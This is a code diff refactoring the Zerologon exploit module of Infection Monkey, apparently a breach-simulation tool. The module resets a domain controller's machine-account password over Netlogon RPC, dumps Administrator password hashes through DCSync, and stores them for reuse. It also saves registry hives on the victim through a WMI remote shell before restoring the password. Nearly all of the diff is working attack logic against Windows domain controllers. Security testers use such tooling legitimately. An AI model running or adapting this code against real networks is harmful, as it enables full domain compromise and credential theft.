diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index e8cf0ab6b..2eace5724 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -19,7 +19,7 @@ from infection_monkey.exploit.zerologon_utils.options import \ OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.network.zerologon_fingerprint import ZerologonFinger -from infection_monkey.utils.capture_output import StdoutOutputCaptor +from infection_monkey.utils.capture_output import StdoutCapture LOG = logging.getLogger(__name__) @@ -38,7 +38,7 @@ class ZerologonExploiter(HostExploiter): self.zerologon_finger = ZerologonFinger() self.exploit_info['credentials'] = {} - def _exploit_host(self) -> Optional[bool]: + def _exploit_host(self) -> bool: self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host) if self.is_exploitable(): @@ -49,7 +49,7 @@ class ZerologonExploiter(HostExploiter): rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) except Exception as e: LOG.info(f"Exception occurred while connecting to DC: {str(e)}") - return + return False # Start exploiting attempts. LOG.debug("Attempting exploit.") @@ -58,12 +58,15 @@ class ZerologonExploiter(HostExploiter): rpc_con.disconnect() else: - LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") - _exploited = False + LOG.info("Exploit not attempted. " + "Target is most likely patched, or an error was encountered by the Zerologon fingerprinter.") + return False # Restore DC's original password. if _exploited: - if self.restore_password(): + is_pwd_restored, restored_pwd_hashes = self.restore_password() + if is_pwd_restored: + self.store_extracted_hashes_for_exploitation(user='Administrator', hashes=restored_pwd_hashes) LOG.info("System exploited and password restored successfully.") else: LOG.info("System exploited but couldn't restore password!") @@ -75,32 +78,34 @@ class ZerologonExploiter(HostExploiter): def is_exploitable(self) -> bool: if self.zerologon_finger._SCANNED_SERVICE in self.host.services: return self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable'] - return self.zerologon_finger.get_host_fingerprint(self.host) + else: + is_vulnerable = self.zerologon_finger.attempt_authentication(dc_handle=self.dc_handle, + dc_ip=self.dc_ip, + dc_name=self.dc_name) + return is_vulnerable - def _send_exploit_rpc_login_requests(self, rpc_con) -> Optional[bool]: + def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: # Max attempts = 2000. Expected average number of attempts needed: 256. - result_exploit_attempt = None for _ in range(0, self.MAX_ATTEMPTS): - try: - result_exploit_attempt = self.attempt_exploit(rpc_con) - except nrpc.DCERPCSessionError as e: - # Failure should be due to a STATUS_ACCESS_DENIED error. - # Otherwise, the attack is probably not working. - if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: - LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") - except BaseException as e: - LOG.info(f"Unexpected error: {e}") + exploit_attempt_result = self.try_exploit_attempt(rpc_con) - if result_exploit_attempt is not None: - if result_exploit_attempt['ErrorCode'] == 0: - self.report_login_attempt(result=True, user=self.dc_name) - _exploited = True - LOG.info("Exploit complete!") - else: - self.report_login_attempt(result=False, user=self.dc_name) - _exploited = False - LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.") - return _exploited + is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result) + if is_exploited: + return is_exploited + + return False + + def try_exploit_attempt(self, rpc_con): + try: + exploit_attempt_result = self.attempt_exploit(rpc_con) + return exploit_attempt_result + except nrpc.DCERPCSessionError as e: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") def attempt_exploit(self, rpc_con: object) -> object: request = nrpc.NetrServerPasswordSet2() @@ -121,10 +126,25 @@ class ZerologonExploiter(HostExploiter): request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['Authenticator'] = authenticator - def restore_password(self) -> Optional[bool]: + def assess_exploit_attempt_result(self, exploit_attempt_result): + if exploit_attempt_result: + if exploit_attempt_result['ErrorCode'] == 0: + self.report_login_attempt(result=True, user=self.dc_name) + _exploited = True + LOG.info("Exploit complete!") + else: + self.report_login_attempt(result=False, user=self.dc_name) + _exploited = False + LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.") + return _exploited + + def restore_password(self) -> (Optional[bool], List[str]): LOG.info("Restoring original password...") try: + admin_pwd_hashes = None + rpc_con = None + # DCSync to get Administrator password's hashes. LOG.debug("DCSync; getting Administrator password's hashes.") admin_pwd_hashes = self.get_admin_pwd_hashes() @@ -133,7 +153,7 @@ class ZerologonExploiter(HostExploiter): # Use Administrator password's NT hash to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") - original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes) + original_pwd_nthash = self.get_original_pwd_nthash(':'.join(admin_pwd_hashes)) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -142,7 +162,7 @@ class ZerologonExploiter(HostExploiter): rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) except Exception as e: LOG.info(f"Exception occurred while connecting to DC: {str(e)}") - return + return False, admin_pwd_hashes # Start restoration attempts. LOG.debug("Attempting password restoration.") @@ -150,16 +170,17 @@ class ZerologonExploiter(HostExploiter): if not _restored: raise Exception("Failed to restore password! Max attempts exceeded?") - return _restored + return _restored, admin_pwd_hashes except Exception as e: LOG.error(e) + return None, admin_pwd_hashes finally: if rpc_con: rpc_con.disconnect() - def get_admin_pwd_hashes(self) -> str: + def get_admin_pwd_hashes(self) -> List[str]: try: options = OptionsForSecretsdump( target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" @@ -173,8 +194,7 @@ class ZerologonExploiter(HostExploiter): user = 'Administrator' hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets) - self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) - return ':'.join(hashes) # format - "lmhash:nthash" + return hashes # format - [lmhash, nthash] except Exception as e: LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}") @@ -258,9 +278,8 @@ class ZerologonExploiter(HostExploiter): remote_shell = wmiexec.get_remote_shell() if remote_shell: - output_captor = StdoutOutputCaptor() + output_captor = StdoutCapture() output_captor.capture_stdout_output() - try: # Save HKLM keys on victim. remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + @@ -300,23 +319,30 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") - def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> Optional[bool]: + def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool: # Max attempts = 2000. Expected average number of attempts needed: 256. - result_restoration_attempt = None for _ in range(0, self.MAX_ATTEMPTS): - try: - result_restoration_attempt = self.attempt_restoration(rpc_con, original_pwd_nthash) - except nrpc.DCERPCSessionError as e: - # Failure should be due to a STATUS_ACCESS_DENIED error. - # Otherwise, the attack is probably not working. - if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: - LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") - except BaseException as e: - LOG.info(f"Unexpected error: {e}") + restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash) - if result_restoration_attempt: - LOG.debug("DC machine account password should be restored to its original value.") - return True + is_restored = self.assess_restoration_attempt_result(restoration_attempt_result) + if is_restored: + return is_restored + + return False + + def try_restoration_attempt(self, rpc_con: object, original_pwd_nthash: str) -> bool: + try: + restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash) + return restoration_attempt_result + except nrpc.DCERPCSessionError as e: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") + + return False def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]: plaintext = b'\x00'*8 @@ -357,6 +383,11 @@ class ZerologonExploiter(HostExploiter): return rpc_con + def assess_restoration_attempt_result(self, restoration_attempt_result): + if restoration_attempt_result: + LOG.debug("DC machine account password should be restored to its original value.") + return True + class NetrServerPasswordSet(nrpc.NDRCALL): opnum = 6 diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index 0aa705125..eeae24e97 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -7,7 +7,7 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets, SAMHashes) from impacket.smbconnection import SMBConnection -from infection_monkey.utils.capture_output import StdoutOutputCaptor +from infection_monkey.utils.capture_output import StdoutCapture LOG = logging.getLogger(__name__) @@ -53,7 +53,7 @@ class DumpSecrets: self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): - output_captor = StdoutOutputCaptor() + output_captor = StdoutCapture() output_captor.capture_stdout_output() dumped_secrets = '' diff --git a/monkey/infection_monkey/network/zerologon_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py index fca17199b..db94e9908 100644 --- a/monkey/infection_monkey/network/zerologon_fingerprint.py +++ b/monkey/infection_monkey/network/zerologon_fingerprint.py @@ -30,19 +30,11 @@ class ZerologonFinger(HostFinger): # Approximate time taken by 2000 attempts: 40 seconds. LOG.info('Performing Zerologon authentication attempts...') - rpc_con = None - for _ in range(0, self.MAX_ATTEMPTS): - try: - rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name) - if rpc_con is not None: - break - except Exception as ex: - LOG.info(ex) - break + auth_successful = self.attempt_authentication(dc_handle, dc_ip, dc_name) self.init_service(host.services, self._SCANNED_SERVICE, '') - if rpc_con: + if auth_successful: LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.') host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True return True @@ -73,6 +65,18 @@ class ZerologonFinger(HostFinger): except BaseException as ex: LOG.info(f'Exception: {ex}') + def attempt_authentication(self, dc_handle: str, dc_ip: str, dc_name: str) -> bool: + for _ in range(0, self.MAX_ATTEMPTS): + try: + rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name) + if rpc_con is not None: + rpc_con.disconnect() + return True + except Exception as ex: + LOG.info(ex) + return False + return False + def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str): # Connect to the DC's Netlogon service. rpc_con = self.connect_to_dc(dc_ip) diff --git a/monkey/infection_monkey/utils/capture_output.py b/monkey/infection_monkey/utils/capture_output.py index 4c27abfeb..024c4c977 100644 --- a/monkey/infection_monkey/utils/capture_output.py +++ b/monkey/infection_monkey/utils/capture_output.py @@ -2,7 +2,7 @@ import io import sys -class StdoutOutputCaptor: +class StdoutCapture: def __init__(self): _orig_stdout = None _new_stdout = None